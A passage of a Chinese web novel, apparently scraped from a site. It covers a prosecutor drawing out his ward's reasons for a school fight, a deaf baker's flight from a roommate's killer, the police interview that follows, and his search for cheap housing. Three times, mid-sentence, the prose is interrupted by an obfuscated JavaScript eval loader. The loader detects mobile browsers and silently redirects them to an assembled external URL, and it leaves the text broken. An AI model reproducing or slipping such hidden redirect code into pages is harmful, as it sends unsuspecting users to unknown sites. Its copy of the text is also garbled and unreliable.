“这不是麻烦,”沈灵均在心里再次叹了口气:“下不为例。再有类似的事,一定告诉我。好吗?” 李长乐点了点头。 沈灵均拍了拍他的后脑勺:“你要是不想继续在这个班级、在这个学校读书了,我可以想办法给你转班、转学。那三个小屁孩敢打你,还不是因为老师没有在他们恶整你的时候采取合适的措施,助长了他们的歪风邪气。我觉得她不太负责。” 李长乐把头都摇出了残影:“不用不用。我还想继续在这个班级念。” 看着沈灵均微微皱起的眉,李长乐连忙道:“我、我不是怕麻烦你,我是真的觉得留在这里上课对我比较好。首先,还有半年多我就高考了,现在每个班级、每个学校的复习进度都不一样,突然转到别的地方读书,我怕跟不上他们的复习进度,反而打乱我自己的学习节奏。我本来成绩就一般,我不想冒这个风险。” “还有,虽然是我主动打的刘润年,但我不觉得我做错了。是他们有错在先,要是我转学走了,好像是我怕了他们、我做错了事一样,我不想这样。” 沈灵均想了想,说:“好。你有自己的想法就好,但是,一定要记住,再有这样的事……” 李长乐抢答道:“一定告诉你。下不为例。” 看他表情松快了不少,沈灵均短暂犹豫了一会,问道:“你能告诉我,今天打架的真实原因吗?” 李长乐愣住了,有些语无伦次地说:“我没有……我就是刚才……我刚才说的就是真的呀,我就是因为他们一直欺负我,我、我忍不下去了,”在沈灵均的目光下,李长乐的声音越来越小:“我才、才打架的。” 沈灵均不说话,只是一直盯着他。 李长乐的嘴角撇了撇:“你、你……怎么猜到的。” 沈灵均道:“我好歹也是个检察官。有非常多人试图在我面前撒谎。你那点道行,还不够看。能说吗?” 李长乐挠了挠头,随后长长地出了一口气,低声说:“班上……有一个女孩,我喜欢她。” “她……她父母都是残疾人,母亲双眼视力只有零点一,基本上是盲人,父亲是聋哑人。她家里条件很不好。高考结束之后,如果她能考上大学,她大学的学费、生活费,都没着落。学费或许还能靠助学贷款,但生活费,她家里实在凑不出来。她原本是住校生,但上了高三之后,她自己退了寝,在酒吧找了个工作……做伴舞。每天跳三个小时,跳完之后就去附近的廉价旅馆里睡觉,每天能赚一百多。她靠这个攒了五千多了。” 说到这,李长乐的神色变得颇为急切:“她真的只是去跳舞!跳的也是正经的舞,就是那种……K-pop?街舞?她不陪酒、不卖酒,其他的更不做。只是去跳舞!她很喜欢跳舞!她从小就喜欢,也一直在看视频偷偷学。她很喜欢这份工作。但是,上周末,刘润年李天昊他们几个去了她工作的那家酒吧,把她认出来了。刘润年知道我和她之间……有点关系。今天,他们就跟我说……说她是小姐。我是瓢客……话说得很难听。我就……打他们了。” “打架之后,我看他们似乎不想把这件事往外说的样子……我估计他们应该是不想把自己去酒吧的事告诉老师吧。” “我……因为涉及到她,那个话又很难听,我也不想当着那么多人的面把那些话说出来,所以才说谎。要是把实情说出来,老师知道她在外面打工,肯定会把这件事告诉她父母的,那她就没法在那继续跳舞了!这样她既赚不到钱,也不能做自己喜欢做的事了。” “你能不能,”李长乐眼含乞求地看着沈灵均,“别把这件事告诉老师?” “……她成年了吗?” “成年了!她比我还大几个月,今年夏天她就成年了。” 沈灵均看着李长乐,最终道:“……我知道了。我不会把这件事告诉老师的。但是,我们提前说好,如果之后刘润年他们几个再因为这件事继续找你、或者找那个女生的麻烦,或是在学校里散布流言,无论她愿意不愿意,你要跟老师如实地报告情况。可以吗?” 李长乐答应道:“好。” “你也跟这个女同学转述一下我的话吧。你就跟她说,如果她愿意,她大学第一年的学费、生活费,还差多少,我包了。离高考也就半年了,我觉得她还是专心高考比较好。高考多考五十分,可比她多攒五千块钱有用多了。” 看着李长乐变得有点纠结的面色,沈灵均道:“你可不要随随便便代替她拒绝别人的好意啊。” 李长乐调整了一下书包的位置,轻声应道:“我知道了。我会跟她讲的……谢谢你。” 李长乐本想直接回家,但在沈灵均的坚持下,心里有些理亏的他老老实实地跟着沈灵均一块去了容州人民医院。好巧不巧,给李长乐看诊的医生正好是陈彦博。 因为李长乐现在是个花猫脸,陈彦博一开始都没认出来他。陈彦博盯着李长乐看了好一会,又下意识地看了一眼沈灵均,才道:“这不是长乐吗?怎么了这是?打架了?还记不记得我啊?” 李长乐点了两下头。 陈彦博又问:“打赢了打输了啊?” 李长乐想了想,一本正经地回答道:“从场面上看,我输了,但是因为我是一打三,所以我觉得实际上我没输。” 陈彦博乐了:“行,脱衣服吧,让我看看你的战况。” 简单给李长乐查了体,陈彦博对沈灵均道:“身上没什么大问题。没骨折,就是皮外伤。脸上,基本上也是皮外伤,但是这个眼睛……看结膜的情况,肯定是有充血,视力大概率也受到了一定影响,最好是仔细检查检查。” 沈灵均立刻道:“查,都查。” 在李长乐排队等OCT的时候,陈彦博提着餐盒找了过来。陈彦博递给李长乐一个餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850425|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒:“不知道你爱吃什么,点的红烧牛腩饭,你能吃吧?” 李长乐有些受宠若惊:“能吃。谢……谢谢。” 随后,陈彦博朝沈灵均使了个眼色,沈灵均接收到他的暗示,站起来和陈彦博往远处走了几步。 陈彦博道:“什么情况?在学校里和人打架了?” 沈灵均把事情原原本本地告诉了陈彦博,陈彦博听完,哦了一声,说:“冲冠一怒为红颜呗。要是不牵扯上那小姑娘,李长乐说不定能忍到毕业。” 沈灵均轻轻地叹了一口气:“谁说不是呢?我也是这么想的。你说,他平时不愿意联系我、和我说话,也就算了。这种事他也不告诉我,”沈灵均说到这,沉默了一会,才继续道:“让我感觉我做人做得很失败。” 陈彦博啧了一声:“和你有什么关系?怎么就做人失败了?他就是不想麻烦你,从他的角度,他麻烦你的已经够多了。而且十七八小年轻,都好面儿,估计心里觉得这事丢人。” 沈灵均苦笑一声:“孩子遇到这种事,我却一直没发现。孩子也不敢向我求助。我做人还不失败吗?” 沈灵均觉得自己太阳穴一跳一跳地疼:“做家长、做检察官,现在想想,我似乎都没做好。” 陈彦博眉毛高高挑起:“检察官你又怎么没做好了?” 沈灵均张开口,又觉得一时之间不知道该从哪开口,最后只是道:“一句两句说不清。” “行,那改天咱们好好说。” 陈彦博把手里一直拎着的餐盒递给沈灵均:“沈灵均,有句话,叫人生如戏,我觉得挺对的。” “……你什么意思?” “我的意思就是,咱们做的工作,其实就是我们在人生这出大戏里扮演的角色。你扮演一个检察官,我扮演一个医生,你尽力地维护司法公正,我尽力地治病救人,这是我们作为一个合格的演员,应该‘演’出来的。但是既然是戏,有的时候就不该太认真。不能太入戏。” “比如说我吧,我有的时候一天手里能送走好几个人。要是太认真地去为他们的生命悲哀、太关注他们死亡背后的故事、太照顾他们家属的情绪,我自己能把自己累死。我尽力抢救我遇到的任何一个患者,但是患者要是没救过来,在我眼前死了……死了就是死了。反正我尽力了。医生的本分,我做到了,我问心无愧,这事在我这就过去了。” “我觉得你现在就是没搞明白什么叫做检察官的本分。你面对案子不徇私枉法,尽职尽责,你做到这个不就行了吗?想那么多有的没的干嘛?” “从小你就这样。周全这个、周全那个,比你小的人你要照顾,比你大的人你要顾及。小的时候我爸妈就老夸你乖,骂我淘。我成绩这么好的人,居然也要听他俩天天念叨你这个别人家的孩子——你不仅成绩好,长得还帅人缘好组织能力强爱读书还有音乐细胞还不叛逆,说实话有段时间我真烦你!气死我了!” 沈灵均:“……” 谁也没招惹他,自己把自己说生气了。 “我知道你因为叔叔、你小弟的事受影响了,所以越长大是越变态了。” 沈灵均忍不住了:“说着说着还骂上人了。” “就骂你了,”陈彦博看了眼手机:“科里呼我了……沈灵均,我就是劝你,不要再继续变态下去了。不要再继续抖M地折磨自己了,如果实在M得受不了你就去找个那种姓爱搭档,找个S,要M去床上M。” 沈灵均:“……” 陈彦博抬眼看他,神情颇为认真:“还有就是那些老生常谈的话了。灵均,叔叔的车祸,十五年了。追诉期都已经过去了,再探究谁是那个司机,没有任何意义了。放过自己吧。” 43.第 43 章 目送沈灵均乘坐的车消失在路口,戚玉衡也掏出手机,给自己打了一辆网约车。 他的电动车还停在店门口,但是戚玉衡不想去取了——他现在不敢骑车。尽管已经不是第一次失去听力,但比起十八岁的自己,戚玉衡觉得他并没有多少长进,面对这个无声的世界,他心中仍然充斥着不安与恐惧。 脸上依旧火辣辣的疼,戚玉衡抬手摸了摸自己的脸,感觉左脸至少肿起来一指多高。戚玉衡不由得苦笑:他刚才一定非常丑。他就顶着这样一张脸在沈灵均面前晃悠了好几个小时。 俗话说一回生二回熟,但在沈灵均面前出丑这件事,戚玉衡恐怕永远也习惯不了。 上车后不久,戚玉衡收到了孟思佳的微信。 【没有星期日:今天的事真的对不起】 【没有星期日:我不知道她会偷看我手机】 【没有星期日:更不知道她会疯狂到跑到你店里闹】 【没有星期日:真对不起】 【戚玉衡:没事,阿姨情绪不稳定,我能理解】 【没有星期日:你的助听器多少钱?我赔给你】 【戚玉衡:不用的,我修一修就能继续用,你不用赔】 【没有星期日:我一定要赔。别客气了,也不用多费口舌劝我,说价格】 孟思佳性格中很有些固执,她既然说要赔钱,那就一定会想方设法地把这个钱送到他手里。 戚玉衡于是道: 【戚玉衡:那你给我修理费就可以了,两百。】 孟思佳立刻给他转了两百块钱。 过了一会,孟思佳又道: 【没有星期日:你把你怀孕的那个同事的微信推给我吧,我带些礼物去跟她道歉。】 戚玉衡依言把牛明星的微信推给了她。随后,孟思佳又道: 【没有星期日:民警是不是有把我妈来闹的原因文字发给你?】 戚玉衡犹豫了一会,答道: 【戚玉衡:是】 孟思佳的消息一条接一条地弹了出来: 【没有星期日:你别放在心上】 【没有星期日:这件事我只跟我最好的朋友讲过】 【没有星期日:我不知道我妈会翻我手机】 【没有星期日:而且那已经是好几年前的事了】 【没有星期日:你千万别为这个感到困扰。对不起,我们给你添麻烦了】 戚玉衡终于找到空隙,回复道: 【戚玉衡:没关系的,我不会把这件事放在心上。】 孟思佳没有再说话。 放下手机,戚玉衡心里默默想着:他的助听器肯定不能再用了,要买一个新的,又要花出去四五千块。今天出了这样的事,店里基本上算是半停工了,明天他需要买助听器,牛明星也需要休息好几天,最近这段时间其他人的工作压力都会相当大,肯定是给他们要多发工资的,这笔钱肯定是要算在他的账上,他这个月的收入肯定要少不少…… 钱钱钱钱钱。任何事想到最后,都落在这么一个字上。 戚玉衡心事重重地回到家,他一拉开门,就见一个浑身是血的人从屋里倒了出来。 戚玉衡这会满脑子都是钱的事,一时间没有反应过来——过了两秒,他才发出一声惊叫。 虽说倒在地上的人满头满脸都是血,戚玉衡还是认出来,这是段俊。 这是怎么了?!戚玉衡往房间里一望,目之所及之处皆是大片大片的红色。地上,墙上,都是血。 戚玉衡蹲下身拍了拍段俊的脸:“小段、小段!” 恐惧一下子攫住了他的心,戚玉衡往段俊的颈侧摸去,想去摸他的脉,但他没摸到脉,却摸到了一个还在流血的伤口。这个时候,一个人从他和段俊的卧室走了出来——是孔正文。 他手里拿着一把满是血迹的菜刀——戚玉衡认识那把菜刀,那是他的菜刀。它来自于他买的一套组合刀具,是其中最大的砍骨刀,很趁手、很锋利,戚玉衡前不久还用它剁过排骨。 戚玉衡和孔正文的视线对了个正着。就在孔正文挥刀冲向他的同一刻,戚玉衡也跳起来,撞开楼梯间的门往楼下逃去。戚玉衡现在什么也听不见,他听不见孔正文的脚步,无法估算两人之间的距离。跑下两层楼之后,戚玉衡回头一看,发现孔正文和他距离不过六七个台阶、大半层楼的高度。 戚玉衡租住的房子位于十三楼,当他跑到八楼的时候,他看到八楼与七楼之间满是杂物的楼梯缓台。这些杂物都是804住户的东西,因为在楼梯堆放杂物的事,804的户主已经被小区物业警告过好几次,但他还是一直不改。 对于这个局面,戚玉衡心中有所准备,而他也在这堆杂物中找到了自己想找的东西——这些杂物里有不少804户主装修时剩下的建材木料。戚玉衡从中抽出一根长长的木条,随后回身用力一挥! 木条正正好好地打在了孔正文脸上,孔正文的头被打得一偏,整个人撞在了墙上。戚玉衡不敢恋战,他握着那根木条翻过那些杂物,继续朝楼下跑去。直到跑出单元门,戚玉衡才再次回头看,这一次,孔正文并没有追上来。 但戚玉衡也不敢在原地逗留,一路跑到了小区门口的保安亭。保安见到他满手是血,十分警惕,没有从亭子里出来,隔着玻璃门朝他喊道:“发生什么了?!” 戚玉衡听不到他的声音,但通过他的口型、表情,也将这句话的意思猜出了七八分,他大声喊道:“报警!快报警!杀人了!我舍友,他好像把我另一个舍友杀了!他刚才还拿着刀在后面追我……9栋1303!您快报警吧,还有,让警察带着医生一起来,房间里有人在流血,脖子上有好大一个口子,”因为剧烈的奔跑,戚玉衡觉得自己耳鸣不止,他指了指自己的耳朵,“我听不见,没法跟警察沟通。” 说完,戚玉衡警惕地看了看身后,没看见孔正文的身影。 那老保安打量了戚玉衡一会,看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856409|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情不似作伪,最终打开门,将他放进了保安亭,又拿出手机报了警,把戚玉衡的话转述给了警察。 期间,孔正文一直没有出现在戚玉衡的视线范围内。不知道他是回到房间了、从小区的西门跑了、还是到其他什么地方去了。 戚玉衡紧紧地握着手里的木条,他感觉自己的手汗已经把木条浅浅地濡湿了一层。他想:段俊是孔正文杀的吗?看房间里的样子,大概率是。段俊死了吗?他就这么抛下他跑了。孔正文为什么要杀段俊?就因为他们之前闹的那点矛盾吗?段俊倒在门口,孔正文为什么会持刀从他和段俊的卧室走出来?是去他们的房间找财物的吗?不太可能,虽然孔正文同他、段俊并不熟悉,但也应该清楚,他们俩都是穷光蛋,房间里哪会有什么财物? 还有……高晶呢?她出门上班了吗?她在家吗? 想到这,戚玉衡打了个冷颤。 差不多十五分钟后,两辆警车、一辆救护车开到了小区门口,警察、医生从车上走了下来。为首的警察看上去三十四五岁,身高和戚玉衡差不多,但是身材颇健硕,左侧发鬓处有一道长疤,让他的面容在英俊中带着些痞气。 他将警察证出示给了保安和戚玉衡:“丰山区公安局,洪希元。你们报的警?” 看二人点头,他又看向戚玉衡,指了指自己的耳朵,又摆了摆手:“你听不见?” 戚玉衡点点头:“对,我听不见。” 洪希元于是拿出手机,在手机上打字道: 【你和保安大叔跟着我们的人先回我们分局,安全了,你别害怕】 戚玉衡连忙道:“好的。好的。麻烦你们,谢谢你们。” 随后,在两个年轻警察的护送下,戚玉衡和保安大叔来到了丰山区公安分局。洗过手,戚玉衡便被安排进一间问询室里,一个女警给他倒了一杯水,叮嘱他在屋里安心等着,一会会有警察来问话,随后便离开了。问询室里一时只剩下戚玉衡一个人。 戚玉衡感觉自己浑身上下的肌肉都紧紧地绷在一起,他低下头,看向自己的手——虽然他刚才洗了手,但是洗得并不仔细,仔细看,就会发现他双手的指甲缝里还残留着一些血迹。而段俊血液带给他的那种黏腻、温热的感觉,是怎么洗也洗不掉的。 戚玉衡猛地攥紧双手,长长地吐出一口气。 在问询室等了一个多小时,洪希元带着另一名警察走了进来。 看他进来,戚玉衡立刻站了起来:“洪警官……我舍友,段俊……他怎么样了?我还有个舍友,是个女生,叫高晶,她呢?她在屋里吗?她还好吗?孔正文呢?你们抓到他了吗?” 洪希元和他身边的警察对视一眼,对他做了个请坐的手势。 洪希元打开了他随身带的笔记本电脑,打了一会字后,他将屏幕转向戚玉衡: 【抱歉,戚先生。你的两位舍友,段俊段先生和高晶高小姐都遇害了。但你放心,嫌疑人孔正文已经被我们抓住了。】 44.第 44 章 戚玉衡盯着那两行字看了一会,缓缓道:“高晶……也死了?” 洪希元点点头。 戚玉衡下意识地把双手交握在了一起。在深呼吸了几次后,他看向洪希元:“……我知道了。你们有什么问题,尽管问。” 洪希元有些惊讶于他的冷静,小幅度地挑了下眉,打字道: 【你是怎么发现段先生的尸体的?】 “我打开门,他……小段就倒出来了,”说到这,戚玉衡本能地皱起了眉,喉结滚动了一会,才艰难地把后半句话说出来:“他,小段,他是什么时候……没的?我……我到家的时候,他还活着吗?” 【我们到达现场的时候,是下午两点三十四分,那个时候段先生已经死亡近一小时了,你大概是两点左右回的家,所以,那个时候段先生应该已经死亡了。】 洪希元看了一眼戚玉衡,继续打字: 【你不用太有心理负担,看段先生身上的伤口,他的主动脉被割破了,他是在受伤之后两分钟内死亡的。就算你在看到他后立刻采取措施,也已经回天乏术了。】 【你在看到段先生的尸体后,没进屋吗?】 戚玉衡摇摇头:“没有。我开门之后,很快,孔正文就拿着刀从房间里冲出来了,我感觉他像是要砍我,我就跑了。半路上,我在八楼和七楼交界的那个缓台处,拿了一根八楼804住户装修剩下的木料,回头打了他一下,然后就一直跑,没回头,跑出了楼外……他没追出来。直到我跑到小区门口,他也没追出来。他是……回去了吗?” 洪希元否认道:【不是。他是从小区西门跑出去了,挥刀在大街上袭击路人,又砍伤了四个人。然后就被我们警方控制住了。孔正文和段俊之间有矛盾吗?他和高晶感情怎么样?】 “孔正文和小段前段时间刚刚大吵过一架,关系……不怎么好。他和高晶,我也不知道他们感情是好还是不好,说好,他们总是吵架,说不好,他们只是吵架,没听他们说过要分手这一类的话。” 【孔正文和段俊为什么吵架?吵架原因你清楚吗?】 “孔正文说小段和小高在沙发上搂搂抱抱的看电影,小段说没有……就因为这个。” 【那段俊和高晶之间,到底有没有超出界限的男女关系?】 戚玉衡立刻摇摇头:“没有!没有……至少小段跟我说过,说他们两个只是舍友。” 洪希元指了指自己的脸:【你脸上的伤,是孔正文打的?】 “不是,这是我自己弄的。” 在又问了戚玉衡几个问题后,洪希元道: 【谢谢你啊戚先生。我暂时没什么想问的了,你可以先回去了。】 洪希元打到这,很快又继续打字道:【但是你的家……一时半会肯定是回不去了。我们的人还在取证,我估计,那个房子后续你也没法住了。屋里的墙基本上都被血迹溅染了,我来之前跟房主聊了聊,我听房主的意思,他似乎是想把房子整个重新装修一下。】 “这样啊……好的。” 突然,戚玉衡在一片混乱的大脑中揪住了一根线,他猛地把身子往前一探,语气有些急迫地说:“那、那我可以把我留在房间里的东西带走吗?” 洪希元搓了搓手指,面色有些为难、又有些同情: 【戚先生,是这样……高小姐最后是在你的房间里被害的。不仅如此,凶手还试图肢解她的遗体……他是在你的床上,试图肢解她的遗体的。】 洪希元看着戚玉衡难看的脸色,继续道:【你床下行李箱的东西肯定没事,我们也没带走它。但是你的床铺啊、被褥啊,那些东西肯定是不能用了,你衣柜里的衣服,大多也都染上了血迹。这些东西现在都是证物,我们还不能让你带走它们。但等我们做完初步的取证、检验,我们会立刻通知你的。抱歉。但我们也是没办法。】 “不不,其他的东西都没事、都不重要,我床上、床上,有一个公仔,企鹅公仔,穿的红色背带裤……那个公仔,能把它给我吗?” 戚玉衡咽了口唾沫:“它也被……弄脏了吗?” 洪希元看得出来,这个公仔对戚玉衡来说很重要。但他也只能点头: 【我对那个公仔有印象,但因为它就摆在你的枕头旁,所以被弄脏的很厉害。】 戚玉衡就像是个泄了气的皮球,腰慢慢塌了下来:“……我知道了。谢谢你。” 洪希元一时之间也不知道该怎么安慰他,生硬地转移了话题:【对了,戚先生,你的助听器什么时候能修好?你懂手语吗?如果我们后续再请你来配合工作,对你来说,是不是请一个手语翻译会更方便?】 “不用了,我,”戚玉衡的心里还装着他的小企鹅,他那个被弄脏了小企鹅,他有些语无伦次了:“没有,不是,我会手语,但不用了,我明天就去买新的助听器。” 洪希元又递给他一张名片:【这是我们分局心理工作室负责民警的名片。你之后要是觉得心理上出现问题,需要心理疏导,可以联系她。这样吧,戚先生你想去哪?我让我们队的人送你回去。】 去哪? 戚玉衡也不知道。 对于他来说,枫树湾小区的下铺算不上是一个“家”——奶奶死了之后,他就没有家了。那里只能说是一个“窝”。但现在,这个窝也没有了。他连个容身之处也没有了。 “不用了,”戚玉衡拒绝道:“我自己回去就可以。你们还要办案,不麻烦你们了。” 离开丰山分局之后,戚玉衡在分局大门口站了一会,打开手机,开始查星星烘焙附近的酒店。他翻找了好久,最终选定了一家廉价旅馆,打车过去了。 和店主艰难的拉锯了一番,二人最终敲定:戚玉衡在普通房住十天,一天四十,一次性全款付清。 因为是廉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864301|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价旅馆,这家旅馆的普通房很小,是老板隔出来的插间,整个房间不到两平米,没有窗,如果不开灯,屋里就是一片漆黑。除了一张单人床,屋里什么也没有,想去上厕所的话得去一旁的公共卫生间。 交过钱,戚玉衡没有先进房间,而是去了卫生间洗手。他仔细地将指甲里的血污抠了出来,来回搓着自己的手。现在已经是深秋,水龙头出的水冰凉,直到指尖被水冰得发麻,戚玉衡才关掉水龙头。 戚玉衡低头看着自己的手:已经很干净了。段俊的血已经被他洗掉了。 段俊……段俊死了。 明明他们早上刚见过。他还梦想着在容州买房子,把他姐姐接过来呢。他才刚刚二十岁。 他就这么死了。 为什么?孔正文到底为什么要杀他?就因为他们之前的那点小矛盾?他还是在怀疑段俊和高晶间有不正当关系? 他怎么可以那么容易地举起刀?他……他们,怎么可以这么容易地就选择杀人? 还有他的小企鹅。沈灵均送他的小企鹅。它就这么被弄脏了。他连一个公仔都没法保护好。 戚玉衡精神恍惚地在床上躺了一会,才想起来沈灵均被叫家长、李长乐在学校打架的事。他拿出手机问沈灵均道: 【戚玉衡:怎么样?长乐到底为什么会在学校打架啊?】 沈灵均发过来一个白眼表情包,道: 【Shen:说来话长。但总结一下,算是正当防卫吧。他一个人打对面三个。那三个男生之前一直在抱团校园暴力他,他已经在学校挨过好几次打了。】 戚玉衡看到这条消息,下意识地从床上坐了起来。他想起一周多前的那个晚上,李长乐瘸着腿回来,说自己在体育课上崴伤了脚。 那到底是真的扭伤,还是假的扭伤? 戚玉衡连忙把这件事告诉了沈灵均,沈灵均立刻道: 【Shen:我问问他。】 过了一会,沈灵均给他发消息: 【Shen:我问过他了。他说脚确实是崴的,但是是因为那几个男生在体育课上推他他才崴的。唉,他都遭受校园霸凌好几个月了,却从来没跟我提过这些事。】 戚玉衡心中十分懊悔:那天李长乐拒绝他为他上药的时候,他就应该看出些端倪的。当时长乐就表现的对上学有些抗拒,他却以为那只是高中生正常的对上学的排斥——他为什么没能早点发现问题呢? 【戚玉衡:对不起。我应该更敏感一点的。现在想想,那天晚上,长乐的表情有些不自然。】 【Shen:你道什么歉呀?长乐就没打算告诉任何人。要不是他这回打人,这件事说不定咱们一辈子都不会知道。对了,你怎么样?你脸上的伤处理了吗?】 看着这条消息,戚玉衡嘴角微微往上勾了勾,答道: 【戚玉衡:我已经没事了,已经处理过了。】 45.第 45 章 第二天一早,戚玉衡便去了助听器专卖店买助听器。他上次换助听器是两年前,虽说时间并不久远,但如今科技发展日新月异,不过两年时间,他之前用的那款助听器就已经被后浪拍死在了沙滩上,已经下架了。戚玉衡决定在新出的几款助听器中选一款:虽然戚玉衡的人生信条是能省则省,但助听器是为数不多能让他舍得花钱的东西。 在看售货员讲解几款助听器异同的时候,突然有人自身后拍了拍他的肩。没有听力就是这点不好,戚玉衡登时被吓了一跳,他回过头——拍他的人是冯小竹。 戚玉衡下意识地开口道:“……小竹?你怎么在这?” 很快,戚玉衡反应过来,转而打手语:【你来这买助听器吗?】 冯小竹是戚玉衡在容州市残障儿童康复中心做义工时认识的,自三年前相识后,两个人经常一起做义工,一块策划了好多次志愿活动。冯小竹今年二十二岁,是先天性双耳重度神经聋,无法通过助听器来改善听力。所以戚玉衡在店里看到她才会觉得意外。 冯小竹点点头,打手语道: 【嗯,我来给美星买助听器。她现在用的那副已经用很久了。】 美星全名赵美星,今年十四岁,现在在容州第二特殊教育学校读四年级,是两人去容州第二特殊教育学校做义工时认识的孩子。赵美星是因病致聋,父母都是健全人。赵美星一岁半的时候,突然高烧不退,吃了好几天退烧药才退烧。但退烧后,父母慢慢发现,她对声音不再敏感。带去医院一检查,发现她已经聋了。 在确定赵美星失去听力之后,赵美星的父母决定要二胎。赵美星三岁时,她的妹妹——一个健全的妹妹降生了。赵美星的父母把全部的时间、精力,以及为数不多的金钱全都投入到了她的妹妹身上,在赵美星六岁前,她连助听器都没有。 等到她到了快上小学的年纪,赵父赵母才拼拼凑凑,给她买了人生第一副助听器。在经过了父母敷衍的启蒙教育后,赵美星被送到了镇上的小学。而一个才刚刚开始倾听这世界不到一年、错过了语言训练期的哑巴孩子,是不可能跟得上普通小学的学习进度的。 于是,赵美星顺理成章地成为了班级里永恒的最后一名、大家共同的排挤对象——没人担心会因为欺负她而得到老师的处罚,因为她连“告老师”这么简单的事都无法完成。她不会说话,也不怎么会写字。 赵美星就这么浑浑噩噩地在镇小学读了四年书。升入五年级时,赵美星班级的班主任换了,新来的班主任格外关注这个成绩差、总是挨欺负的聋哑女孩。在和赵美星的父母反复沟通过后,她终于说服了他们,让他们把赵美星送进了容州第二特殊教育学校。因为语言基础、学习基础都很差,赵美星只能从头开始读小学。 戚玉衡和冯小竹第一次来容州第二特殊教育学校做义工时就注意到了她。毕竟,她的情况实在特殊:赵美星比同班同学大出三四岁,而女生本来发育就早些,她又是个高个女孩,因此,在班级的队伍中,她体格格外“魁梧”;由于错过了语训期,赵美星的语言能力非常差,几乎无法正常说话;因为年纪上有些差距,班上的同学并不大愿意和她一起玩,尽管孩子们并非有意排挤她,但这种处境让赵美星变得更加内向孤僻;赵美星本就家境贫寒,父母把有限的金钱和大部分的爱都投入给了她的妹妹,对赵美星鲜有关注,赵美星常年没有新衣服新鞋子,衣服短了一截还在穿,脚被小了的鞋磨出血还在穿。 是故,比之其他孩子,无论是戚玉衡还是冯小竹,都对赵美星有额外的帮扶。 听冯小竹说是来给赵美星买助听器的,戚玉衡道:【那我和你一起合买吧。】 一副好一点的助听器最起码要一千多块,并不便宜。而冯小竹的经济状况也谈不上好:她出生于一个双残家庭,父亲跛脚,母亲和她一样是聋人,她读完初中之后就出来闯社会。她现在是一个上门美甲师,虽说养活自己是没问题,但是生活并不算宽裕。 冯小竹摇摇头:【不用了戚哥,我自己给她买就行了,我现在运营了一个小红书账号,挺有热度的,生意好着呢,一副助听器,】冯小竹拇指食指放在一块搓了搓,【小意思。】 戚玉衡又劝了她几句,但冯小竹坚持要自己买,戚玉衡最终没拗过她。 冯小竹指了指戚玉衡的脸:【你这是怎么了?谁打你了?】 戚玉衡有些无奈地笑了笑:【家属。】 冯小竹知道他的家庭情况,没有多说什么,无声地拍了拍他的手臂。 比之上一次见冯小竹,戚玉衡觉得她瘦了不少,脸色也不太好看。他忍不住道:【小竹,你是减肥了吗?感觉你瘦了好多。你本来就已经很瘦了,不用再减肥了啊。】 冯小竹愣了愣,随后神情变得有些不自然:【我没刻意减肥,就是最近胃口不好。自然而然瘦的。】 【啊?那你要注意身体,突然暴瘦可能是身体给你报警呢。你最近有没有哪里不舒服?】 冯小竹笑笑:【没有的,你不用担心。我不是说我这段时间生意好嘛,就是忙的,吃的少了而已。】 随后,戚玉衡试戴了几款助听器,最终敲定了四千多元的一款,不多的存款立刻少了一半。付完账,戚玉衡看着银行卡的余额提示短信无声地叹了口气。由于他已经提前和租房中介约好了时间一起看房,戚玉衡便没再和冯小竹多说,和她告了别。 戚玉衡昨晚看了半宿的房——即便是合租,在容州找一个月租低于一千的房子并不是件容易的事,戚玉衡最终只选出了三套符合他要求的房子。而就算房租每月只要一千,戚玉衡目前的存款也只能勉强做到押一付三,如果房东要求的押金更高些,他便只能先挪用店里账上的钱。 因为预算有限,戚玉衡并没有对居住环境做出太高的要求,但是这三套房子里没一套让他满意:一号房地理位置很是不错,距离星星烘焙不过一公里,距离最近的地铁站也才五百米,然而,这房子是个楼梯间,一共四平米,床旁边就是楼梯口,夜晚翻身动作大一些很可能就会直接滚下楼梯,虽然房东在床边安了防护栏,但是戚玉衡还是觉得安全隐患有些大。 二号房就在一号房旁边,是个二房东在经过奇思妙想后隔出来的隔间——户型是个五平米的长方形,长长的一条,马桶左边就是床。 三号房是个老房子,离星星烘焙也不远,两公里外就有个地铁站,是个人造“双层房”,举架两米五的一层楼,让房东硬生生隔成了二层楼。一楼大约一米七高,从“主卧”架个梯子,便通往层高八十厘米的“客卧”,以戚玉衡的身高,甚至没办法在二层直着腰坐着。 察觉到戚玉衡不太满意,带着他看房的中介在一旁劝他:“弟弟,没办法,你看看你的预算,就一千块钱!这个价钱,在容州能找个住的地方就不错了。知足吧!” 